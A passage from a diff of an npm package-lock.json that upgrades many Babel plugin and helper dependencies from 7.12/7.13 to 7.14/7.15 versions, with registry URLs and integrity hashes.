"^7.12.13" } }, + "@babel/plugin-syntax-class-static-block": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-class-static-block/-/plugin-syntax-class-static-block-7.14.5.tgz", + "integrity": "sha512-b+YyPmr6ldyNnM6sqYeMWE+bgJcJpO6yS4QD7ymxgH34GBPNDM/THBh8iunyvKIZztiwLH4CJZ0RxTk9emgpjw==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.14.5" + } + }, "@babel/plugin-syntax-dynamic-import": { "version": "7.8.3", "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-dynamic-import/-/plugin-syntax-dynamic-import-7.8.3.tgz", @@ -1699,12 +1532,12 @@ } }, "@babel/plugin-syntax-jsx": { - "version": "7.12.13", - "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.12.13.tgz", - "integrity": "sha512-d4HM23Q1K7oq/SLNmG6mRt85l2csmQ0cHRaxRXjKW0YFdEXqlZ5kzFQKH5Uc3rDJECgu+yCRgPkG04Mm98R/1g==", + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.14.5.tgz", + "integrity": "sha512-ohuFIsOMXJnbOMRfX7/w7LocdR6R7whhuRD4ax8IipLcLPlZGJKkBxgHp++U4N/vKyU16/YDQr2f5seajD3jIw==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.12.13" + "@babel/helper-plugin-utils": "^7.14.5" } }, "@babel/plugin-syntax-logical-assignment-operators": { @@ -1761,505 +1594,572 @@ "@babel/helper-plugin-utils": "^7.8.0" } }, - "@babel/plugin-syntax-top-level-await": { - "version": "7.12.13", - "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-top-level-await/-/plugin-syntax-top-level-await-7.12.13.tgz", - "integrity": "sha512-A81F9pDwyS7yM//KwbCSDqy3Uj4NMIurtplxphWxoYtNPov7cJsDkAFNNyVlIZ3jwGycVsurZ+LtOA8gZ376iQ==", + "@babel/plugin-syntax-private-property-in-object": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-private-property-in-object/-/plugin-syntax-private-property-in-object-7.14.5.tgz", + "integrity": "sha512-0wVnp9dxJ72ZUJDV27ZfbSj6iHLoytYZmh3rFcxNnvsJF3ktkzLDZPy/mA17HGsaQT3/DQsWYX1f1QGWkCoVUg==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.12.13" + "@babel/helper-plugin-utils": "^7.14.5" + } + }, + "@babel/plugin-syntax-top-level-await": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-top-level-await/-/plugin-syntax-top-level-await-7.14.5.tgz", + "integrity": "sha512-hx++upLv5U1rgYfwe1xBQUhRmU41NEvpUvrp8jkrSCdvGSnM5/qdRMtylJ6PG5OFkBaHkbTAKTnd3/YyESRHFw==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.14.5" } }, "@babel/plugin-transform-arrow-functions": { - "version": "7.13.0", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-arrow-functions/-/plugin-transform-arrow-functions-7.13.0.tgz", - "integrity": "sha512-96lgJagobeVmazXFaDrbmCLQxBysKu7U6Do3mLsx27gf5Dk85ezysrs2BZUpXD703U/Su1xTBDxxar2oa4jAGg==", + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-arrow-functions/-/plugin-transform-arrow-functions-7.14.5.tgz", + "integrity": "sha512-KOnO0l4+tD5IfOdi4x8C1XmEIRWUjNRV8wc6K2vz/3e8yAOoZZvsRXRRIF/yo/MAOFb4QjtAw9xSxMXbSMRy8A==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.13.0" + "@babel/helper-plugin-utils": "^7.14.5" } }, "@babel/plugin-transform-async-to-generator": { - "version": "7.13.0", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-async-to-generator/-/plugin-transform-async-to-generator-7.13.0.tgz", - "integrity": "sha512-3j6E004Dx0K3eGmhxVJxwwI89CTJrce7lg3UrtFuDAVQ/2+SJ/h/aSFOeE6/n0WB1GsOffsJp6MnPQNQ8nmwhg==", + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-async-to-generator/-/plugin-transform-async-to-generator-7.14.5.tgz", + "integrity": "sha512-szkbzQ0mNk0rpu76fzDdqSyPu0MuvpXgC+6rz5rpMb5OIRxdmHfQxrktL8CYolL2d8luMCZTR0DpIMIdL27IjA==", "dev": true, "requires": { - "@babel/helper-module-imports": "^7.12.13", - "@babel/helper-plugin-utils": "^7.13.0", - "@babel/helper-remap-async-to-generator": "^7.13.0" + "@babel/helper-module-imports": "^7.14.5", + "@babel/helper-plugin-utils": "^7.14.5", + "@babel/helper-remap-async-to-generator": "^7.14.5" + }, + "dependencies": { + "@babel/helper-module-imports": { + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.15.4.tgz", + "integrity": "sha512-jeAHZbzUwdW/xHgHQ3QmWR4Jg6j15q4w/gCfwZvtqOxoo5DKtLHk8Bsf4c5RZRC7NmLEs+ohkdq8jFefuvIxAA==", + "dev": true, + "requires": { + "@babel/types": "^7.15.4" + } + }, + "@babel/helper-validator-identifier": { + "version": "7.15.7", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.15.7.tgz", + "integrity": "sha512-K4JvCtQqad9OY2+yTU8w+E82ywk/fe+ELNlt1G8z3bVGlZfn/hOcQQsUhGhW/N+tb3fxK800wLtKOE/aM0m72w==", + "dev": true + }, + "@babel/types": { + "version": "7.15.6", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.15.6.tgz", + "integrity": "sha512-BPU+7QhqNjmWyDO0/vitH/CuhpV8ZmK1wpKva8nuyNF5MJfuRNWMc+hc14+u9xT93kvykMdncrJT19h74uB1Ig==", + "dev": true, + "requires": { + "@babel/helper-validator-identifier": "^7.14.9", + "to-fast-properties": "^2.0.0" + } + } } }, "@babel/plugin-transform-block-scoped-functions": { - "version": "7.12.13", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-block-scoped-functions/-/plugin-transform-block-scoped-functions-7.12.13.tgz", - "integrity": "sha512-zNyFqbc3kI/fVpqwfqkg6RvBgFpC4J18aKKMmv7KdQ/1GgREapSJAykLMVNwfRGO3BtHj3YQZl8kxCXPcVMVeg==", + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-block-scoped-functions/-/plugin-transform-block-scoped-functions-7.14.5.tgz", + "integrity": "sha512-dtqWqdWZ5NqBX3KzsVCWfQI3A53Ft5pWFCT2eCVUftWZgjc5DpDponbIF1+c+7cSGk2wN0YK7HGL/ezfRbpKBQ==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.12.13" + "@babel/helper-plugin-utils": "^7.14.5" } }, "@babel/plugin-transform-block-scoping": { - "version": "7.12.13", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-block-scoping/-/plugin-transform-block-scoping-7.12.13.tgz", - "integrity": "sha512-Pxwe0iqWJX4fOOM2kEZeUuAxHMWb9nK+9oh5d11bsLoB0xMg+mkDpt0eYuDZB7ETrY9bbcVlKUGTOGWy7BHsMQ==", + "version": "7.15.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-block-scoping/-/plugin-transform-block-scoping-7.15.3.tgz", + "integrity": "sha512-nBAzfZwZb4DkaGtOes1Up1nOAp9TDRRFw4XBzBBSG9QK7KVFmYzgj9o9sbPv7TX5ofL4Auq4wZnxCoPnI/lz2Q==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.12.13" + "@babel/helper-plugin-utils": "^7.14.5" } }, "@babel/plugin-transform-classes": { - "version": "7.13.0", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-classes/-/plugin-transform-classes-7.13.0.tgz", - "integrity": "sha512-9BtHCPUARyVH1oXGcSJD3YpsqRLROJx5ZNP6tN5vnk17N0SVf9WCtf8Nuh1CFmgByKKAIMstitKduoCmsaDK5g==", + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-classes/-/plugin-transform-classes-7.15.4.tgz", + "integrity": "sha512-Yjvhex8GzBmmPQUvpXRPWQ9WnxXgAFuZSrqOK/eJlOGIXwvv8H3UEdUigl1gb/bnjTrln+e8bkZUYCBt/xYlBg==", "dev": true, "requires": { - "@babel/helper-annotate-as-pure": "^7.12.13", - "@babel/helper-function-name": "^7.12.13", - "@babel/helper-optimise-call-expression": "^7.12.13", - "@babel/helper-plugin-utils": "^7.13.0", - "@babel/helper-replace-supers": "^7.13.0", - "@babel/helper-split-export-declaration": "^7.12.13", + "@babel/helper-annotate-as-pure": "^7.15.4", + "@babel/helper-function-name": "^7.15.4", + "@babel/helper-optimise-call-expression": "^7.15.4", + "@babel/helper-plugin-utils": "^7.14.5", + "@babel/helper-replace-supers": "^7.15.4", + "@babel/helper-split-export-declaration": "^7.15.4", "globals": "^11.1.0" }, "dependencies": { "@babel/code-frame": { - "version": "7.12.13", - "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.12.13.tgz", - "integrity": "sha512-HV1Cm0Q3ZrpCR93tkWOYiuYIgLxZXZFVG2VgK+MBWjUqZTundupbfx2aXarXuw5Ko5aMcjtJgbSs4vUGBS5v6g==", + "version": "7.15.8", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.15.8.tgz", + "integrity": "sha512-2IAnmn8zbvC/jKYhq5Ki9I+DwjlrtMPUCH/CpHvqI4dNnlwHwsxoIhlc8WcYY5LSYknXQtAlFYuHfqAFCvQ4Wg==", "dev": true, "requires": { - "@babel/highlight": "^7.12.13" + "@babel/highlight": "^7.14.5" } }, "@babel/helper-function-name": { - "version": "7.12.13", - "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.12.13.tgz", - "integrity": "sha512-TZvmPn0UOqmvi5G4vvw0qZTpVptGkB1GL61R6lKvrSdIxGm5Pky7Q3fpKiIkQCAtRCBUwB0PaThlx9vebCDSwA==", + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.15.4.tgz", + "integrity": "sha512-Z91cOMM4DseLIGOnog+Z8OI6YseR9bua+HpvLAQ2XayUGU+neTtX+97caALaLdyu53I/fjhbeCnWnRH1O3jFOw==", "dev": true, "requires": { - "@babel/helper-get-function-arity": "^7.12.13", - "@babel/template": "^7.12.13", - "@babel/types": "^7.12.13" + "@babel/helper-get-function-arity": "^7.15.4", + "@babel/template": "^7.15.4", + "@babel/types": "^7.15.4" } }, "@babel/helper-get-function-arity": { - "version": "7.12.13", - "resolved": "https://registry.npmjs.org/@babel/helper-get-function-arity/-/helper-get-function-arity-7.12.13.tgz", - "integrity": "sha512-DjEVzQNz5LICkzN0REdpD5prGoidvbdYk1BVgRUOINaWJP2t6avB27X1guXK1kXNrX0WMfsrm1A/ZBthYuIMQg==", + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-get-function-arity/-/helper-get-function-arity-7.15.4.tgz", + "integrity": "sha512-1/AlxSF92CmGZzHnC515hm4SirTxtpDnLEJ0UyEMgTMZN+6bxXKg04dKhiRx5Enel+SUA1G1t5Ed/yQia0efrA==", "dev": true, "requires": { - "@babel/types": "^7.12.13" + "@babel/types": "^7.15.4" } }, "@babel/helper-split-export-declaration": { - "version": "7.12.13", - "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.12.13.tgz", - "integrity": "sha512-tCJDltF83htUtXx5NLcaDqRmknv652ZWCHyoTETf1CXYJdPC7nohZohjUgieXhv0hTJdRf2FjDueFehdNucpzg==", + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.15.4.tgz", + "integrity": "sha512-HsFqhLDZ08DxCpBdEVtKmywj6PQbwnF6HHybur0MAnkAKnlS6uHkwnmRIkElB2Owpfb4xL4NwDmDLFubueDXsw==", "dev": true, "requires": { - "@babel/types": "^7.12.13" + "@babel/types": "^7.15.4" } }, "@babel/helper-validator-identifier": { - "version": "7.12.11", - "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz", - "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==", + "version": "7.15.7", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.15.7.tgz", + "integrity": "sha512-K4JvCtQqad9OY2+yTU8w+E82ywk/fe+ELNlt1G8z3bVGlZfn/hOcQQsUhGhW/N+tb3fxK800wLtKOE/aM0m72w==", "dev": true }, "@babel/highlight": { - "version": "7.13.10", - "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.13.10.tgz", - "integrity": "sha512-5aPpe5XQPzflQrFwL1/QoeHkP2MsA4JCntcXHRhEsdsfPVkvPi2w7Qix4iV7t5S/oC9OodGrggd8aco1g3SZFg==", + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.14.5.tgz", + "integrity": "sha512-qf9u2WFWVV0MppaL877j2dBtQIDgmidgjGk5VIMw3OadXvYaXn66U1BFlH2t4+t3i+8PhedppRv+i40ABzd+gg==", "dev": true, "requires": { - "@babel/helper-validator-identifier": "^7.12.11", + "@babel/helper-validator-identifier": "^7.14.5", "chalk": "^2.0.0", "js-tokens": "^4.0.0" } }, "@babel/parser": { - "version": "7.13.15", - "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.13.15.tgz", - "integrity": "sha512-b9COtcAlVEQljy/9fbcMHpG+UIW9ReF+gpaxDHTlZd0c6/UU9ng8zdySAW9sRTzpvcdCHn6bUcbuYUgGzLAWVQ==", + "version": "7.15.8", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.15.8.tgz", + "integrity": "sha512-BRYa3wcQnjS/nqI8Ac94pYYpJfojHVvVXJ97+IDCImX4Jc8W8Xv1+47enbruk+q1etOpsQNwnfFcNGw+gtPGxA==", "dev": true }, "@babel/template": { - "version": "7.12.13", - "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.12.13.tgz", - "integrity": "sha512-/7xxiGA57xMo/P2GVvdEumr8ONhFOhfgq2ihK3h1e6THqzTAkHbkXgB0xI9yeTfIUoH3+oAeHhqm/I43OTbbjA==", + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.15.4.tgz", + "integrity": "sha512-UgBAfEa1oGuYgDIPM2G+aHa4Nlo9Lh6mGD2bDBGMTbYnc38vulXPuC1MGjYILIEmlwl6Rd+BPR9ee3gm20CBtg==", "dev": true, "requires": { - "@babel/code-frame": "^7.12.13", - "@babel/parser": "^7.12.13", - "@babel/types": "^7.12.13" + "@babel/code-frame": "^7.14.5", + "@babel/parser": "^7.15.4", + "@babel/types": "^7.15.4" } }, "@babel/types": { - "version": "7.13.14", - "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz", - "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==", + "version": "7.15.6", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.15.6.tgz", + "integrity": "sha512-BPU+7QhqNjmWyDO0/vitH/CuhpV8ZmK1wpKva8nuyNF5MJfuRNWMc+hc14+u9xT93kvykMdncrJT19h74uB1Ig==", "dev": true, "requires": { - "@babel/helper-validator-identifier": "^7.12.11", - "lodash": "^4.17.19", + "@babel/helper-validator-identifier": "^7.14.9", "to-fast-properties": "^2.0.0" } } } }, "@babel/plugin-transform-computed-properties": { - "version": "7.13.0", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-computed-properties/-/plugin-transform-computed-properties-7.13.0.tgz", - "integrity": "sha512-RRqTYTeZkZAz8WbieLTvKUEUxZlUTdmL5KGMyZj7FnMfLNKV4+r5549aORG/mgojRmFlQMJDUupwAMiF2Q7OUg==", + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-computed-properties/-/plugin-transform-computed-properties-7.14.5.tgz", + "integrity": "sha512-pWM+E4283UxaVzLb8UBXv4EIxMovU4zxT1OPnpHJcmnvyY9QbPPTKZfEj31EUvG3/EQRbYAGaYEUZ4yWOBC2xg==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.13.0" + "@babel/helper-plugin-utils": "^7.14.5" } }, "@babel/plugin-transform-destructuring": { - "version": "7.13.0", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-destructuring/-/plugin-transform-destructuring-7.13.0.tgz", - "integrity": "sha512-zym5em7tePoNT9s964c0/KU3JPPnuq7VhIxPRefJ4/s82cD+q1mgKfuGRDMCPL0HTyKz4dISuQlCusfgCJ86HA==", + "version": "7.14.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-destructuring/-/plugin-transform-destructuring-7.14.7.tgz", + "integrity": "sha512-0mDE99nK+kVh3xlc5vKwB6wnP9ecuSj+zQCa/n0voENtP/zymdT4HH6QEb65wjjcbqr1Jb/7z9Qp7TF5FtwYGw==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.13.0" + "@babel/helper-plugin-utils": "^7.14.5" } }, "@babel/plugin-transform-dotall-regex": { - "version": "7.12.13", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-dotall-regex/-/plugin-transform-dotall-regex-7.12.13.tgz", - "integrity": "sha512-foDrozE65ZFdUC2OfgeOCrEPTxdB3yjqxpXh8CH+ipd9CHd4s/iq81kcUpyH8ACGNEPdFqbtzfgzbT/ZGlbDeQ==", + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-dotall-regex/-/plugin-transform-dotall-regex-7.14.5.tgz", + "integrity": "sha512-loGlnBdj02MDsFaHhAIJzh7euK89lBrGIdM9EAtHFo6xKygCUGuuWe07o1oZVk287amtW1n0808sQM99aZt3gw==", "dev": true, "requires": { - "@babel/helper-create-regexp-features-plugin": "^7.12.13", - "@babel/helper-plugin-utils": "^7.12.13" + "@babel/helper-create-regexp-features-plugin": "^7.14.5", + "@babel/helper-plugin-utils": "^7.14.5" } }, "@babel/plugin-transform-duplicate-keys": { - "version": "7.12.13", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-duplicate-keys/-/plugin-transform-duplicate-keys-7.12.13.tgz", - "integrity": "sha512-NfADJiiHdhLBW3pulJlJI2NB0t4cci4WTZ8FtdIuNc2+8pslXdPtRRAEWqUY+m9kNOk2eRYbTAOipAxlrOcwwQ==", + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-duplicate-keys/-/plugin-transform-duplicate-keys-7.14.5.tgz", + "integrity": "sha512-iJjbI53huKbPDAsJ8EmVmvCKeeq21bAze4fu9GBQtSLqfvzj2oRuHVx4ZkDwEhg1htQ+5OBZh/Ab0XDf5iBZ7A==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.12.13" + "@babel/helper-plugin-utils": "^7.14.5" } }, "@babel/plugin-transform-exponentiation-operator": { - "version": "7.12.13", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-exponentiation-operator/-/plugin-transform-exponentiation-operator-7.12.13.tgz", - "integrity": "sha512-fbUelkM1apvqez/yYx1/oICVnGo2KM5s63mhGylrmXUxK/IAXSIf87QIxVfZldWf4QsOafY6vV3bX8aMHSvNrA==", + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-exponentiation-operator/-/plugin-transform-exponentiation-operator-7.14.5.tgz", + "integrity": "sha512-jFazJhMBc9D27o9jDnIE5ZErI0R0m7PbKXVq77FFvqFbzvTMuv8jaAwLZ5PviOLSFttqKIW0/wxNSDbjLk0tYA==", "dev": true, "requires": { - "@babel/helper-builder-binary-assignment-operator-visitor": "^7.12.13", - "@babel/helper-plugin-utils": "^7.12.13" + "@babel/helper-builder-binary-assignment-operator-visitor": "^7.14.5", + "@babel/helper-plugin-utils": "^7.14.5" } }, "@babel/plugin-transform-for-of": { - "version": "7.13.0", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-for-of/-/plugin-transform-for-of-7.13.0.tgz", - "integrity": "sha512-IHKT00mwUVYE0zzbkDgNRP6SRzvfGCYsOxIRz8KsiaaHCcT9BWIkO+H9QRJseHBLOGBZkHUdHiqj6r0POsdytg==", + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-for-of/-/plugin-transform-for-of-7.15.4.tgz", + "integrity": "sha512-DRTY9fA751AFBDh2oxydvVm4SYevs5ILTWLs6xKXps4Re/KG5nfUkr+TdHCrRWB8C69TlzVgA9b3RmGWmgN9LA==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.13.0" + "@babel/helper-plugin-utils": "^7.14.5" } }, "@babel/plugin-transform-function-name": { - "version": "7.12.13", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-function-name/-/plugin-transform-function-name-7.12.13.tgz", - "integrity": "sha512-6K7gZycG0cmIwwF7uMK/ZqeCikCGVBdyP2J5SKNCXO5EOHcqi+z7Jwf8AmyDNcBgxET8DrEtCt/mPKPyAzXyqQ==", + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-function-name/-/plugin-transform-function-name-7.14.5.tgz", + "integrity": "sha512-vbO6kv0fIzZ1GpmGQuvbwwm+O4Cbm2NrPzwlup9+/3fdkuzo1YqOZcXw26+YUJB84Ja7j9yURWposEHLYwxUfQ==", "dev": true, "requires": { - "@babel/helper-function-name": "^7.12.13", - "@babel/helper-plugin-utils": "^7.12.13" + "@babel/helper-function-name": "^7.14.5", + "@babel/helper-plugin-utils": "^7.14.5" }, "dependencies": { "@babel/code-frame": { - "version": "7.12.13", - "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.12.13.tgz", - "integrity": "sha512-HV1Cm0Q3ZrpCR93tkWOYiuYIgLxZXZFVG2VgK+MBWjUqZTundupbfx2aXarXuw5Ko5aMcjtJgbSs4vUGBS5v6g==", + "version": "7.15.8", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.15.8.tgz", + "integrity": "sha512-2IAnmn8zbvC/jKYhq5Ki9I+DwjlrtMPUCH/CpHvqI4dNnlwHwsxoIhlc8WcYY5LSYknXQtAlFYuHfqAFCvQ4Wg==", "dev": true, "requires": { - "@babel/highlight": "^7.12.13" + "@babel/highlight": "^7.14.5" } }, "@babel/helper-function-name": { - "version": "7.12.13", - "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.12.13.tgz", - "integrity": "sha512-TZvmPn0UOqmvi5G4vvw0qZTpVptGkB1GL61R6lKvrSdIxGm5Pky7Q3fpKiIkQCAtRCBUwB0PaThlx9vebCDSwA==", + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.15.4.tgz", + "integrity": "sha512-Z91cOMM4DseLIGOnog+Z8OI6YseR9bua+HpvLAQ2XayUGU+neTtX+97caALaLdyu53I/fjhbeCnWnRH1O3jFOw==", "dev": true, "requires": { - "@babel/helper-get-function-arity": "^7.12.13", - "@babel/template": "^7.12.13", - "@babel/types": "^7.12.13" + "@babel/helper-get-function-arity": "^7.15.4", + "@babel/template": "^7.15.4", + "@babel/types": "^7.15.4" } }, "@babel/helper-get-function-arity": { - "version": "7.12.13", - "resolved": "https://registry.npmjs.org/@babel/helper-get-function-arity/-/helper-get-function-arity-7.12.13.tgz", - "integrity": "sha512-DjEVzQNz5LICkzN0REdpD5prGoidvbdYk1BVgRUOINaWJP2t6avB27X1guXK1kXNrX0WMfsrm1A/ZBthYuIMQg==", + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-get-function-arity/-/helper-get-function-arity-7.15.4.tgz", + "integrity": "sha512-1/AlxSF92CmGZzHnC515hm4SirTxtpDnLEJ0UyEMgTMZN+6bxXKg04dKhiRx5Enel+SUA1G1t5Ed/yQia0efrA==", "dev": true, "requires": { - "@babel/types": "^7.12.13" + "@babel/types": "^7.15.4" } }, "@babel/helper-validator-identifier": { - "version": "7.12.11", - "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz", - "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==", + "version": "7.15.7", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.15.7.tgz", + "integrity": "sha512-K4JvCtQqad9OY2+yTU8w+E82ywk/fe+ELNlt1G8z3bVGlZfn/hOcQQsUhGhW/N+tb3fxK800wLtKOE/aM0m72w==", "dev": true }, "@babel/highlight": { - "version": "7.13.10", - "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.13.10.tgz", - "integrity": "sha512-5aPpe5XQPzflQrFwL1/QoeHkP2MsA4JCntcXHRhEsdsfPVkvPi2w7Qix4iV7t5S/oC9OodGrggd8aco1g3SZFg==", + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.14.5.tgz", + "integrity": "sha512-qf9u2WFWVV0MppaL877j2dBtQIDgmidgjGk5VIMw3OadXvYaXn66U1BFlH2t4+t3i+8PhedppRv+i40ABzd+gg==", "dev": true, "requires": { - "@babel/helper-validator-identifier": "^7.12.11", + "@babel/helper-validator-identifier": "^7.14.5", "chalk": "^2.0.0", "js-tokens": "^4.0.0" } }, "@babel/parser": { - "version": "7.13.15", - "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.13.15.tgz", - "integrity": "sha512-b9COtcAlVEQljy/9fbcMHpG+UIW9ReF+gpaxDHTlZd0c6/UU9ng8zdySAW9sRTzpvcdCHn6bUcbuYUgGzLAWVQ==", + "version": "7.15.8", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.15.8.tgz", + "integrity": "sha512-BRYa3wcQnjS/nqI8Ac94pYYpJfojHVvVXJ97+IDCImX4Jc8W8Xv1+47enbruk+q1etOpsQNwnfFcNGw+gtPGxA==", "dev": true }, "@babel/template": { - "version": "7.12.13", - "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.12.13.tgz", - "integrity": "sha512-/7xxiGA57xMo/P2GVvdEumr8ONhFOhfgq2ihK3h1e6THqzTAkHbkXgB0xI9yeTfIUoH3+oAeHhqm/I43OTbbjA==", + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.15.4.tgz", + "integrity": "sha512-UgBAfEa1oGuYgDIPM2G+aHa4Nlo9Lh6mGD2bDBGMTbYnc38vulXPuC1MGjYILIEmlwl6Rd+BPR9ee3gm20CBtg==", "dev": true, "requires": { - "@babel/code-frame": "^7.12.13", - "@babel/parser": "^7.12.13", - "@babel/types": "^7.12.13" + "@babel/code-frame": "^7.14.5", + "@babel/parser": "^7.15.4", + "@babel/types": "^7.15.4" } }, "@babel/types": { - "version": "7.13.14", - "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz", - "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==", + "version": "7.15.6", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.15.6.tgz", + "integrity": "sha512-BPU+7QhqNjmWyDO0/vitH/CuhpV8ZmK1wpKva8nuyNF5MJfuRNWMc+hc14+u9xT93kvykMdncrJT19h74uB1Ig==", "dev": true, "requires": { - "@babel/helper-validator-identifier": "^7.12.11", - "lodash": "^4.17.19", + "@babel/helper-validator-identifier": "^7.14.9", "to-fast-properties": "^2.0.0" } } } }, "@babel/plugin-transform-literals": { - "version": "7.12.13", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-literals/-/plugin-transform-literals-7.12.13.tgz", - "integrity": "sha512-FW+WPjSR7hiUxMcKqyNjP05tQ2kmBCdpEpZHY1ARm96tGQCCBvXKnpjILtDplUnJ/eHZ0lALLM+d2lMFSpYJrQ==", + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-literals/-/plugin-transform-literals-7.14.5.tgz", + "integrity": "sha512-ql33+epql2F49bi8aHXxvLURHkxJbSmMKl9J5yHqg4PLtdE6Uc48CH1GS6TQvZ86eoB/ApZXwm7jlA+B3kra7A==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.12.13" + "@babel/helper-plugin-utils": "^7.14.5" } }, "@babel/plugin-transform-member-expression-literals": { - "version": "7.12.13", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-member-expression-literals/-/plugin-transform-member-expression-literals-7.12.13.tgz", - "integrity": "sha512-kxLkOsg8yir4YeEPHLuO2tXP9R/gTjpuTOjshqSpELUN3ZAg2jfDnKUvzzJxObun38sw3wm4Uu69sX/zA7iRvg==", + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-member-expression-literals/-/plugin-transform-member-expression-literals-7.14.5.tgz", + "integrity": "sha512-WkNXxH1VXVTKarWFqmso83xl+2V3Eo28YY5utIkbsmXoItO8Q3aZxN4BTS2k0hz9dGUloHK26mJMyQEYfkn/+Q==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.12.13" + "@babel/helper-plugin-utils": "^7.14.5" } }, "@babel/plugin-transform-modules-amd": { - "version": 